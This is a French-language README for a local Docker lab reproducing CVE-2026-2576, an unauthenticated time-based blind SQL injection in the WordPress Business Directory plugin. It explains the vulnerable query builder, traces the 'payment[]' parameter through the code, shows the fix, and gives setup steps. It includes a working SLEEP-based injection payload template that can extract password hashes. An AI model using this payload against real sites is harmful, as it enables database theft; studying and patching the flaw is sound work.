
CVE-2026-2576 — PoC d'injection SQLi pour le plugin Business Directory (Configuration locale). Injection SQL aveugle basée sur le temps, non authentifiée, dans le plugin Business Directory pour WordPress ≤ 6.4.21
Injection SQL aveugle basée sur le temps, sans authentification
Plugin Business Directory pour WordPress ≤ 6.4.21
| Champ | Détail |
|---|---|
| CVE | CVE-2026-2576 |
| Plugin | Business Directory Plugin – Easy Listing Directories for WordPress |
| Éditeur | strategy11team |
| Versions concernées | Toutes les versions ≤ 6.4.21 |
| Corrigé dans | 6.4.22 |
| Type | Injection SQL aveugle basée sur le temps (CWE-89) |
| Authentification | Aucune — entièrement non authentifié |
| CVSS | 7,5 (NVD) / 9,3 (Wordfence) |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Assigneur | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| Divulgué | 18 février 2026 |
Le plugin Business Directory est un plugin WordPress largement utilisé pour créer
des annuaires de listes avec support des paiements. Une faille dans son générateur
de requêtes ORM permet à un attaquant non authentifié d'effectuer une injection
SQL aveugle basée sur le temps via le paramètre de requête payment,
permettant d'inférer le contenu de la base de données.
La vulnérabilité se trouve dans le générateur de requêtes ORM :
Fichier : includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ VULNÉRABLE — aucune assainissement, concaténation directe de chaînes
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ Sûr — utilise $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
Lorsque $v est un scalaire, le code utilise correctement $wpdb->prepare(). Lorsque
$v est un tableau, il tombe dans la branche non sécurisée et concatène les valeurs
directement dans la chaîne SQL sans échappement.
Le contrôleur de paiement (includes/controllers/pages/class-checkout.php)
lit le paramètre de requête payment et le transmet à l'ORM :
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id passé comme valeur
);
}
PHP convertit automatiquement payment[]=value dans la chaîne de requête en un
tableau $_GET['payment'] = ['value']. Cela force $v à être un tableau dans
filter_args(), atteignant ainsi la branche non sécurisée.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>
PHP: $_REQUEST['payment'] = ['<payload>'] ← tableau en raison de la notation []
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → branche non sécurisée
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<payload>')
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -
SQL généré :
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')
Le -- - commente le ') final. Le IF() crée un oracle
booléen : lorsque la condition est VRAIE, SLEEP(N) se déclenche et la réponse est
retardée ; lorsqu'elle est FAUSSE, la réponse est immédiate.
Remarque : L'ORM exécute la requête deux fois par requête HTTP (une fois dans get(), une fois
dans maybe_execute_query()), donc une charge utile SLEEP(1) produit environ 2 secondes de
délai observable, et SLEEP(2) produit environ 4 secondes.
Un attaquant non authentifié peut inférer et extraire le contenu de la base de données caractère par caractère grâce aux réponses temporelles, notamment :
wp_users), noms d'utilisateur, adresses e-mail, hachages de mots de passeLe correctif de la version 6.4.22 ajoute un assainissement à la branche tableau de
filter_args() :
// AVANT (vulnérable)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// APRÈS (corrigé)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
Installer les dépendances Python :
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
Attendez jusqu'à voir :
╔══════════════════════════════════════════════════════════╗
║ Configuration du laboratoire terminée ! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress : http://localhost:8080 ║
║ Admin WP : http://localhost:8080/wp-admin ║
║ phpMyAdmin : http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ Plugin : 6.4.21 (VULNÉRABLE) ║
║ ID de page BD : 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# Attendu : * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"